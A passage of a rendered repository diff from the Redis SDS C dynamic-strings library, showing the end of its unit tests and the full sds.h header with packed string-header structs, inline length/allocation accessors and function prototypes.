|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnewlen("\a\n\0foo\r",7);
|
||||
y = sdscatrepr(sdsempty(),x,sdslen(x));
|
||||
test_cond("sdscatrepr(...data...)",
|
||||
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
|
||||
|
||||
{
|
||||
unsigned int oldfree;
|
||||
char *p;
|
||||
int step = 10, j, i;
|
||||
|
||||
sdsfree(x);
|
||||
sdsfree(y);
|
||||
x = sdsnew("0");
|
||||
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
|
||||
|
||||
/* Run the test a few times in order to hit the first two
|
||||
* SDS header types. */
|
||||
for (i = 0; i < 10; i++) {
|
||||
int oldlen = sdslen(x);
|
||||
x = sdsMakeRoomFor(x,step);
|
||||
int type = x[-1]&SDS_TYPE_MASK;
|
||||
|
||||
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
|
||||
if (type != SDS_TYPE_5) {
|
||||
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
|
||||
oldfree = sdsavail(x);
|
||||
}
|
||||
p = x+oldlen;
|
||||
for (j = 0; j < step; j++) {
|
||||
p[j] = 'A'+j;
|
||||
}
|
||||
sdsIncrLen(x,step);
|
||||
}
|
||||
test_cond("sdsMakeRoomFor() content",
|
||||
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
|
||||
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
|
||||
|
||||
sdsfree(x);
|
||||
}
|
||||
}
|
||||
test_report()
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef SDS_TEST_MAIN
|
||||
int main(void) {
|
||||
return sdsTest();
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,273 @@
|
||||
/* SDSLib 2.0 -- A C dynamic strings library
|
||||
*
|
||||
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
|
||||
* Copyright (c) 2015, Oran Agra
|
||||
* Copyright (c) 2015, Redis Labs, Inc
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of Redis nor the names of its contributors may be used
|
||||
* to endorse or promote products derived from this software without
|
||||
* specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef __SDS_H
|
||||
#define __SDS_H
|
||||
|
||||
#define SDS_MAX_PREALLOC (1024*1024)
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef char *sds;
|
||||
|
||||
/* Note: sdshdr5 is never used, we just access the flags byte directly.
|
||||
* However is here to document the layout of type 5 SDS strings. */
|
||||
struct __attribute__ ((__packed__)) sdshdr5 {
|
||||
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr8 {
|
||||
uint8_t len; /* used */
|
||||
uint8_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr16 {
|
||||
uint16_t len; /* used */
|
||||
uint16_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr32 {
|
||||
uint32_t len; /* used */
|
||||
uint32_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr64 {
|
||||
uint64_t len; /* used */
|
||||
uint64_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
|
||||
#define SDS_TYPE_5 0
|
||||
#define SDS_TYPE_8 1
|
||||
#define SDS_TYPE_16 2
|
||||
#define SDS_TYPE_32 3
|
||||
#define SDS_TYPE_64 4
|
||||
#define SDS_TYPE_MASK 7
|
||||
#define SDS_TYPE_BITS 3
|
||||
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
|
||||
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
|
||||
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
|
||||
|
||||
static inline size_t sdslen(const sds s) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
return SDS_TYPE_5_LEN(flags);
|
||||
case SDS_TYPE_8:
|
||||
return SDS_HDR(8,s)->len;
|
||||
case SDS_TYPE_16:
|
||||
return SDS_HDR(16,s)->len;
|
||||
case SDS_TYPE_32:
|
||||
return SDS_HDR(32,s)->len;
|
||||
case SDS_TYPE_64:
|
||||
return SDS_HDR(64,s)->len;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline size_t sdsavail(const sds s) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5: {
|
||||
return 0;
|
||||
}
|
||||
case SDS_TYPE_8: {
|
||||
SDS_HDR_VAR(8,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
case SDS_TYPE_16: {
|
||||
SDS_HDR_VAR(16,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
case SDS_TYPE_32: {
|
||||
SDS_HDR_VAR(32,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
case SDS_TYPE_64: {
|
||||
SDS_HDR_VAR(64,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline void sdssetlen(sds s, size_t newlen) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
{
|
||||
unsigned char *fp = ((unsigned char*)s)-1;
|
||||
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
|
||||
}
|
||||
break;
|
||||
case SDS_TYPE_8:
|
||||
SDS_HDR(8,s)->len = newlen;
|
||||
break;
|
||||
case SDS_TYPE_16:
|
||||
SDS_HDR(16,s)->len = newlen;
|
||||
break;
|
||||
case SDS_TYPE_32:
|
||||
SDS_HDR(32,s)->len = newlen;
|
||||
break;
|
||||
case SDS_TYPE_64:
|
||||
SDS_HDR(64,s)->len = newlen;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static inline void sdsinclen(sds s, size_t inc) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
{
|
||||
unsigned char *fp = ((unsigned char*)s)-1;
|
||||
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
|
||||
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
|
||||
}
|
||||
break;
|
||||
case SDS_TYPE_8:
|
||||
SDS_HDR(8,s)->len += inc;
|
||||
break;
|
||||
case SDS_TYPE_16:
|
||||
SDS_HDR(16,s)->len += inc;
|
||||
break;
|
||||
case SDS_TYPE_32:
|
||||
SDS_HDR(32,s)->len += inc;
|
||||
break;
|
||||
case SDS_TYPE_64:
|
||||
SDS_HDR(64,s)->len += inc;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* sdsalloc() = sdsavail() + sdslen() */
|
||||
static inline size_t sdsalloc(const sds s) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
return SDS_TYPE_5_LEN(flags);
|
||||
case SDS_TYPE_8:
|
||||
return SDS_HDR(8,s)->alloc;
|
||||
case SDS_TYPE_16:
|
||||
return SDS_HDR(16,s)->alloc;
|
||||
case SDS_TYPE_32:
|
||||
return SDS_HDR(32,s)->alloc;
|
||||
case SDS_TYPE_64:
|
||||
return SDS_HDR(64,s)->alloc;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline void sdssetalloc(sds s, size_t newlen) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
/* Nothing to do, this type has no total allocation info. */
|
||||
break;
|
||||
case SDS_TYPE_8:
|
||||
SDS_HDR(8,s)->alloc = newlen;
|
||||
break;
|
||||
case SDS_TYPE_16:
|
||||
SDS_HDR(16,s)->alloc = newlen;
|
||||
break;
|
||||
case SDS_TYPE_32:
|
||||
SDS_HDR(32,s)->alloc = newlen;
|
||||
break;
|
||||
case SDS_TYPE_64:
|
||||
SDS_HDR(64,s)->alloc = newlen;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sds sdsnewlen(const void *init, size_t initlen);
|
||||
sds sdsnew(const char *init);
|
||||
sds sdsempty(void);
|
||||
sds sdsdup(const sds s);
|
||||
void sdsfree(sds s);
|
||||
sds sdsgrowzero(sds s, size_t len);
|
||||
sds sdscatlen(sds s, const void *t, size_t len);
|
||||
sds sdscat(sds s, const char *t);
|
||||
sds sdscatsds(sds s, const sds t);
|
||||
sds sdscpylen(sds s, const char *t, size_t len);
|
||||
sds sdscpy(sds s, const char *t);
|
||||
|
||||
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
|
||||
#ifdef __GNUC__
|
||||
sds sdscatprintf(sds s, const char *fmt, ...)
|
||||
__attribute__((format(printf, 2, 3)));
|
||||
#else
|
||||
sds sdscatprintf(sds s, const char *fmt, ...);
|
||||
#endif
|
||||
|
||||
sds sdscatfmt(sds s, char const *fmt, ...);
|
||||
sds sdstrim(sds s, const char *cset);
|
||||
void sdsrange(sds s, int start, int end);
|
||||
void sdsupdatelen(sds s);
|
||||
void sdsclear(sds s);
|
||||
int sdscmp(const sds s1, const sds s2);
|
||||
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
|
||||
void sdsfreesplitres(sds *tokens, int count);
|
||||
void sdstolower(sds s);
|
||||
void sdstoupper(sds s);
|
||||
sds sdsfromlonglong(long long value);
|
||||
sds sdscatrepr(sds s, const char *p, size_t len);
|
||||
sds *sdssplitargs(const char *line, int *argc);
|
||||
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
|
||||
sds sdsjoin(char **argv, int argc, char *sep);
|
||||
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
|
||||
|
||||
/* Low level functions exposed to the user API */
|
||||
sds sdsMakeRoomFor(sds s, size_t addlen);
|
||||
void sdsIncrLen(sds s, int incr);
|
||||
sds sdsRemoveFreeSpace(sds s);
|
||||
size_t sdsAllocSize(sds s);
|
||||
void *sdsAllocPtr(sds s);
|
||||
|
||||
/* Export the allocator used by SDS to the program using SDS.
|
||||
* Sometimes the program SDS is linked to, may use a different set of
|
||||
* allocators, but may want to allocate or free things that SDS will
|
||||
* respectively free or allocate. */
|
||||
void *sds_malloc(size_t size);
|
||||
void *sds_realloc(void *ptr, size_t size);
|
||||
void sds_free(void *ptr);
|
||||
|
||||
#ifdef REDIS_TEST
|
||||
int sdsTest(int argc, char *argv[]);
|
||||
#endif
|
||||
|
||||
#endif
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user